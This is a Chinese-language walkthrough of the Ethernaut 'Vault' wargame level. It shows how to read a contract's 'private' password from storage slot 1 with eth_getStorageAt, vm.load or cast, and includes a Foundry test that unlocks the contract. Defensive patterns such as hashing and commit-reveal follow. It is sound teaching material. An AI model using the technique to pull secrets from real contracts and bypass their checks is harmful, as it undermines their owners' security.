Ethernaut Level 8: Vault - 私有变量读取

🎯 Ethernaut Level 8: Vault - 私有变量读取

关卡链接: Ethernaut Level 8 - Vault
攻击类型: 私有变量读取
难度: ⭐⭐⭐☆☆

📋 挑战目标

要 unlock 这个合约账户，也就是要找到 password。挑战的关键在于理解区块链上没有真正的"私有"数据，所有状态变量都可以被读取。

🔍 漏洞分析

存储机制 (Storage)

我们需要理解 EVM 中存储的布局以及原理（使用 32 字节大小的插槽）和 JSON RPC 函数 eth_getStorageAt。

EVM 的数据都存在 32 字节槽中：

• 第一个状态变量存储在槽位 0
• 如果第一个变量存储完了还有足够的字节，下一个变量也存储在 slot 0
• 否则存储在 slot 1，依此类推

注意: 像数组和字符串这样的动态类型工作方式不同

在 Vault 合约中：

• locked 是一个布尔值，使用 1 字节，存储在 slot 0
• password 是一个 bytes32，使用 32 个字节
• 由于插槽 0 中剩余的 31 个字节无法容纳 password，因此它被存储在 slot 1 中

读取 Storage

eth_getStorageAt JSON RPC 函数可用于读取合约在给定槽位的存储。

使用 web3.js 读取 slot 1 的合约存储：

web3.eth.getStorageAt(contractAddress, 1, (err, result) => {console.log(result);
});

在 Foundry 中，可以使用 cheatcodes 中的 load：

bytes32 password = vm.load(address(instance), bytes32(uint256(1)));

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Ethernaut.sol";
import "../src/levels/VaultFactory.sol";contract VaultTest is Test {Ethernaut ethernaut;VaultFactory vaultFactory;function setUp() public {ethernaut = new Ethernaut();vaultFactory = new VaultFactory();ethernaut.registerLevel(vaultFactory);}function testVaultExploit() public {// 创建关卡实例address levelInstance = ethernaut.createLevelInstance(vaultFactory);Vault instance = Vault(levelInstance);// 验证初始状态assertEq(instance.locked(), true);// 攻击：读取存储在 slot 1 中的密码bytes32 password = vm.load(address(instance), bytes32(uint256(1)));// 使用读取的密码解锁instance.unlock(password);// 验证攻击成功assertEq(instance.locked(), false);// 提交关卡bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelInstance));assert(levelSuccessfullyPassed);}
}

关键攻击步骤

1. 分析存储布局：确定 password 存储在 slot 1
2. 读取存储：使用 vm.load() 读取 slot 1 的数据
3. 调用 unlock：使用读取的密码解锁合约

// 读取 slot 1 中的密码
bytes32 password = vm.load(address(instance), bytes32(uint256(1)));// 解锁合约
instance.unlock(password);// 验证解锁成功
assertEq(instance.locked(), false);

🛡️ 防御措施

1. 避免在链上存储敏感数据

// ❌ 不安全：密码存储在链上
contract VulnerableVault {bytes32 private password;  // 可以被读取！constructor(bytes32 _password) {password = _password;}
}// ✅ 安全：使用哈希验证
contract SecureVault {bytes32 private passwordHash;  // 存储哈希而不是明文constructor(bytes32 _passwordHash) {passwordHash = _passwordHash;}function unlock(string memory _password) public {require(keccak256(abi.encodePacked(_password)) == passwordHash, "Wrong password");// unlock logic}
}

2. 使用提交-揭示方案

contract CommitRevealVault {mapping(address => bytes32) private commitments;// 第一阶段：提交哈希function commit(bytes32 _commitment) public {commitments[msg.sender] = _commitment;}// 第二阶段：揭示并验证function reveal(string memory _password, uint256 _nonce) public {bytes32 hash = keccak256(abi.encodePacked(_password, _nonce));require(commitments[msg.sender] == hash, "Invalid reveal");// unlock logic}
}

3. 使用链下验证

contract OffChainVault {address private authorizedSigner;mapping(address => bool) private unlocked;function unlock(bytes memory signature, address user) public {bytes32 messageHash = keccak256(abi.encodePacked(user, "unlock"));address signer = recoverSigner(messageHash, signature);require(signer == authorizedSigner, "Unauthorized");unlocked[user] = true;}
}

🔧 相关工具和技术

存储读取工具

# 使用 cast 读取存储
cast storage <CONTRACT_ADDRESS> <SLOT_NUMBER># 使用 web3.py
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://localhost:8545'))
password = w3.eth.get_storage_at(contract_address, 1)

存储布局分析

// 使用 forge inspect 查看存储布局
// forge inspect <CONTRACT> storage-layout

🎯 总结

核心概念:

• private 关键字意味着数据只能由合约本身访问，而不是对外界隐藏
• 区块链上没有什么是私有的，一切都是公开的，任何人都可以阅读
• EVM 存储使用 32 字节的插槽系统

攻击向量:

• 直接读取合约存储
• 分析存储布局确定敏感数据位置
• 使用 RPC 调用或 Foundry cheatcodes 读取数据

防御策略:

• 永远不要在链上存储明文敏感数据
• 使用哈希和承诺方案
• 考虑链下验证机制
• 实施适当的访问控制

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🔗 相关链接

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